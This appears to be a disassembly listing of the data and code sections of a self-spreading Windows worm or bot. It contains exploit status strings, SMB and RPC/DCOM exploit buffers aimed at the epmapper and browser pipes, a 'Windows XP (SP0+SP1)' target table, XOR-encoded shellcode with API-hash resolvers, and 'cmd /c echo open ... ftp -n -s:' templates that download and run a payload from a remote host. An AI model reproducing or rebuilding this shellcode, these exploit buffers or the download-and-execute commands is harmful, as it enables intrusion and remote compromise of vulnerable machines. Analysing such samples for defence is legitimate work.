dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B901+85o
align 10h
dword_431BE0 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B901+46o
unk_431BEC db 2Dh ; - ; DATA XREF: sub_40B901+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
unk_431C0C db 2Dh ; - ; DATA XREF: sub_40B9CF+37o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_431C54 db 2Dh ; - ; DATA XREF: sub_40BA3A+21o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 10h
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA8E+7Eo
dword_431C90 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA8E+40o
dword_431CA0 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40BA8E+14o
dd 7473694Ch, 3Ah
unk_431CBC db 2Dh ; - ; DATA XREF: ___:0040BCC2o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_431CF0 db 2Dh ; - ; DATA XREF: ___:0040BBD4o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 10h
unk_431D20 db 2Dh ; - ; DATA XREF: sub_40BD05+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 10h
unk_431D40 db 2Dh ; - ; DATA XREF: sub_40BD05+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_431D5C db 2Dh ; - ; DATA XREF: sub_40BD7C+4B7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_30 db ' Failed to start server, error: <%d>.',0
align 10h
unk_431D90 db 2Dh ; - ; DATA XREF: sub_40BD7C+38Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_31 db '- Failed to start server, error: <%d>.',0
unk_431DC8 db 2Dh ; - ; DATA XREF: sub_40BD7C+321o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 4
unk_431DF8 db 2Dh ; - ; DATA XREF: sub_40BD7C+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_32 db 'Failed to start server, error: <%d>.',0
align 4
unk_431E2C db 2Dh ; - ; DATA XREF: sub_40BD7C+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 10h
unk_431E60 db 2Dh ; - ; DATA XREF: sub_40BD7C+148o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_33 db ' Failed to start server, error: <%d>.',0
align 4
unk_431E94 db 2Dh ; - ; DATA XREF: sub_40C3D3+EBo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_431EBC db 2Dh ; - ; DATA XREF: sub_40C3D3+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431EF4 db 2Dh ; - ; DATA XREF: sub_40C3D3+3E2o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_431F34 db 2Dh ; - ; DATA XREF: sub_40C3D3+387o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_431F6C db 2Dh ; - ; DATA XREF: sub_40C3D3+317o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431FA0 db 2Dh ; - ; DATA XREF: sub_40C3D3+29Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
dword_431FD4 dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h
; DATA XREF: sub_40C846+92o
dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 10h
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CD85+B2o
align 4
dword_432088 dd 10FF8h, 0 ; DATA XREF: sub_40CD85+6Ao
dword_432090 dd 10FF8h ; DATA XREF: sub_40CD85+79o
dword_432094 dd 7FFDF020h, 0 ; DATA XREF: sub_40CD85+162o
dword_43209C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1AF+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432124 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1AF+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_432154 dd 0 ; DATA XREF: sub_40D1AF+44o
dd 800000D4h, 0
unk_432160 db 81h ; ; DATA XREF: sub_40D289+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_4321AC db 41h ; DATA XREF: sub_40D327+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 10h
; =============== S U B R O U T I N E =======================================
sub_4321F0 proc near ; DATA XREF: ___:0040D606o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_4322EC
push dword ptr [esi]
push 63D61209h
call sub_432302
mov [esi+8], eax
call sub_4322B5
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_432302
mov [esi+0Ch], eax
call sub_432267
push dword ptr [esi+4]
push 4C0297FAh
call sub_432302
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_4321F0 endp
; =============== S U B R O U T I N E =======================================
sub_432267 proc near ; CODE XREF: sub_4321F0+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_432290
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_432267 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_432290 proc near ; CODE XREF: sub_432267+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_43229F: ; CODE XREF: sub_432290+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_4322AC
inc ebx
jmp short loc_43229F
; ---------------------------------------------------------------------------
loc_4322AC: ; CODE XREF: sub_432290+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_432290 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4322B5 proc near ; CODE XREF: sub_4321F0+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_4322CD: ; CODE XREF: sub_4322B5+1Ej
cmp [ecx], ebx
jz short loc_4322D5
mov ecx, [ecx]
jmp short loc_4322CD
; ---------------------------------------------------------------------------
loc_4322D5: ; CODE XREF: sub_4322B5+1Aj
mov edx, edi
loc_4322D7: ; CODE XREF: sub_4322B5+2Aj
cmp [edx+4], ebx
jz short loc_4322E1
mov edx, [edx+4]
jmp short loc_4322D7
; ---------------------------------------------------------------------------
loc_4322E1: ; CODE XREF: sub_4322B5+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_4322B5 endp
; =============== S U B R O U T I N E =======================================
sub_4322EC proc near ; CODE XREF: sub_4321F0+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_4322EC endp
; =============== S U B R O U T I N E =======================================
sub_432302 proc near ; CODE XREF: sub_4321F0+16p
; sub_4321F0+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_432318: ; CODE XREF: sub_432302+33j
jecxz short loc_432352
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_432325: ; CODE XREF: sub_432302+2Dj
lodsb
cmp al, ah
jz short loc_432331
ror edi, 0Dh
add edi, eax
jmp short loc_432325
; ---------------------------------------------------------------------------
loc_432331: ; CODE XREF: sub_432302+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_432318
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_432352: ; CODE XREF: sub_432302:loc_432318j
; sub_432302:loc_432352j
jmp short loc_432352
sub_432302 endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
sub_432358 proc near ; DATA XREF: ___:0040D5B4o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_4323AA
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_432375: ; CODE XREF: sub_432358+38j
jecxz short loc_4323A5
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_432380: ; CODE XREF: sub_432358+32j
lodsb
test al, al
jz short loc_43238C
ror edx, 0Dh
add edx, eax
jmp short loc_432380
; ---------------------------------------------------------------------------
loc_43238C: ; CODE XREF: sub_432358+2Bj
cmp edx, [esp+arg_0]
jnz short loc_432375
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_4323A5: ; CODE XREF: sub_432358:loc_432375j
mov [esp+arg_0], ebx
retn
sub_432358 endp
; =============== S U B R O U T I N E =======================================
sub_4323AA proc near ; CODE XREF: sub_432358+7p
; FUNCTION CHUNK AT 004323E2 SIZE 00000008 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_4323C3
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_4323CE
; ---------------------------------------------------------------------------
loc_4323C3: ; CODE XREF: sub_4323AA+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_4323CE: ; CODE XREF: sub_4323AA+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_4323E2
sub_4323AA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4323D5 proc near ; CODE XREF: sub_4323AA:loc_4323E2p
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_4323D5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4323AA
loc_4323E2: ; CODE XREF: sub_4323AA+29j
call sub_4323D5
loc_4323E7: ; DATA XREF: sub_40CD85+320o
add [eax+0], ah
; END OF FUNCTION CHUNK FOR sub_4323AA
; ---------------------------------------------------------------------------
dw 0
dword_4323EC dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD85+2F5o
dword_4323F8 dd 30h ; DATA XREF: sub_40CD85+2CAo
dword_4323FC dd 0A1h ; DATA XREF: sub_40CD85+29Fo
dword_432400 dd 3 ; DATA XREF: sub_40CD85+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_40CD85+153o
align 4
loc_43240C: ; DATA XREF: sub_40CD85+E8o
jmp short near ptr dword_432414
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_432414 dd 0 ; CODE XREF: ___:loc_43240Cj
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: ___:0040D5DBo
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 4
dword_43247C dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: ___:0040E01Eo
; ___:0040E158o
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4324C8 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_40DCEA+123o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_43282C dd 20h, 0 ; DATA XREF: sub_40DCEA+136o
dd 20h, 5C005Ch, 0
off_432840 dd offset aEmant ; DATA XREF: sub_40DCEA+15Do
; "emant"
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
align 10h
dword_432880 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCEA+174o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_4328B4 dd offset word_580046 ; DATA XREF: sub_40DCEA+45o
dd offset loc_42004E
dd offset word_580046
dd offset word_580046
dd offset loc_42004E
dd offset word_580046
dd offset word_580046
dd offset word_580046
dd offset word_580046
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_432990 dd 10016C6h ; DATA XREF: sub_40DCEA+104o
dword_432994 dd 100139Dh ; DATA XREF: sub_40DCEA+FBo
asc_432998: ; DATA XREF: sub_40DB4F+1Co
; sub_40DC32+16o
unicode 0, <\\>,0
align 10h
off_4329A0 dd offset dword_49005C ; DATA XREF: sub_40DB4F+Co
; sub_40DC32+Bo
dd offset aLandes ; "Landes"
dd 24h
aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E226o
; ___:0041B90Co
align 4
aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1D9o
align 4
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF7Eo
align 4
dword_432A08 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040E634o
; ---------------------------------------------------------------------------
loc_432A14: ; CODE XREF: ___:00432A1Ej
xor dword ptr [ebx+13h], 6AD31EBBh
sub ebx, 0FFFFFFFCh
loop loc_432A14
inc edi
jz short loc_432A5B
and eax, 952CE753h
inc esp
jle short loc_432A83
push es
lahf
cmp bl, [eax+2Fh]
xchg edx, [ebp+1FC36FAFh]
cmp al, 0E1h
; ---------------------------------------------------------------------------
dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
lahf
cmps byte ptr ss:[esi], byte ptr es:[edi]
loc_432A5B: ; CODE XREF: ___:00432A21j
mov [eax], esi
inc ecx
imul dword ptr [ebx+50h]
js short near ptr loc_432ABA+1
lock xchg ax, bp
; ---------------------------------------------------------------------------
dw 768Ch
dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
dd 0C7CF6E30h
; ---------------------------------------------------------------------------
loc_432A80: ; CODE XREF: ___:00432AADj
xor [esi-25h], bl
loc_432A83: ; CODE XREF: ___:00432A29j
xor al, 0D3h
nop
popf
db 64h
push edi
dec esi
sub al, 0BCh
mov al, ch
mov ch, 39h
fnsave byte ptr [esi-20h]
pop eax
shr dword ptr [ecx-60h], cl
pop eax
in al, 4Ah
sub al, 0BAh
loc_432A9C: ; CODE XREF: ___:00432ACFj
rcl ebp, cl
db 3Eh
xchg eax, esi
or byte ptr [esi+2Ch], 0BCh
in al, 97h
db 36h
or al, 3Ah
rep fld tbyte ptr [eax-12h]
jz short loc_432A80
xchg eax, ebp
imul esi, [esi+0Ah], 63h
dec esi
mov bl, 84h
xchg eax, ebp
insd
dec ebp
loc_432ABA: ; CODE XREF: ___:00432A61j
cmp byte ptr [ecx], 0E8h
dec ebp
nop
cmp eax, edi
dec ebp
sub al, 0BAh
fnsave byte ptr [esi-2Dh]
paddusw mm1, qword ptr [ebp+5Ah]
mov ebp, [esi]
jbe short loc_432B46
jo short loc_432A9C
fld dword ptr [ebp+edx*4+3BC3746Dh]
out dx, al
loope near ptr loc_432ADD+1
add bl, [edi]
loc_432ADD: ; CODE XREF: ___:00432AD9j
mov bl, 0FDh
sub esp, 0FFFFFFE1h
add eax, 3E1EE39h
add bl, [esi+57h]
push ebp
and ebp, esp
loope near ptr loc_432AF2+2
cmp ch, bh
dec edx
loc_432AF2: ; CODE XREF: ___:00432AEDj
xchg dl, [ebp-72447295h]
retn 0AAD8h
; ---------------------------------------------------------------------------
db 3Dh
dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh
dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
db 44h, 0C8h
; ---------------------------------------------------------------------------
loc_432B46: ; CODE XREF: ___:00432ACDj
mov ecx, 2C294495h
mov edx, 0E92F4930h
jg short loc_432BCC
sub al, 0BCh
jmp near ptr 54452F3Ah
; ---------------------------------------------------------------------------
db 0D0h, 33h, 0Ah
dd 9505E1E8h, 6AD31E6Bh, 0
dword_432B68 dd 0EFFFC481h, 44FFFFh, 432BB4h ; DATA XREF: ___:0040E61Bo
dword_432B74 dd 42Ah ; DATA XREF: ___:0040E5CEr
dword_432B78 dd 3E8h ; DATA XREF: ___:0040E63Fr
dword_432B7C dd 258h ; DATA XREF: ___:0040E611r
byte_432B80 db 1 ; DATA XREF: ___:0040E57Ar
; ___:0040E648r
align 4
dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)"
dd 2C6h, 264h, 0
dd 1
dword_432B98 dd 20804h ; DATA XREF: sub_40E288r ___:0040E666o ...
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00432B84o
align 4
dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
dd 532D3050h
; ---------------------------------------------------------------------------
loc_432BCC: ; CODE XREF: ___:00432B50j
push eax
xor al, 29h
loc_432BCF: ; DATA XREF: ___:0040E5A2o
add bl, ch
add al, [eax]
; ---------------------------------------------------------------------------
db 0
align 8
dword_432BD8 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040E4D2o
dword_432BEC dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040E476o
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040E405o
align 4
aSIpc db '\\%s\ipc$',0
align 10h
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40E9CB+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_432C94 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAB9+5Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
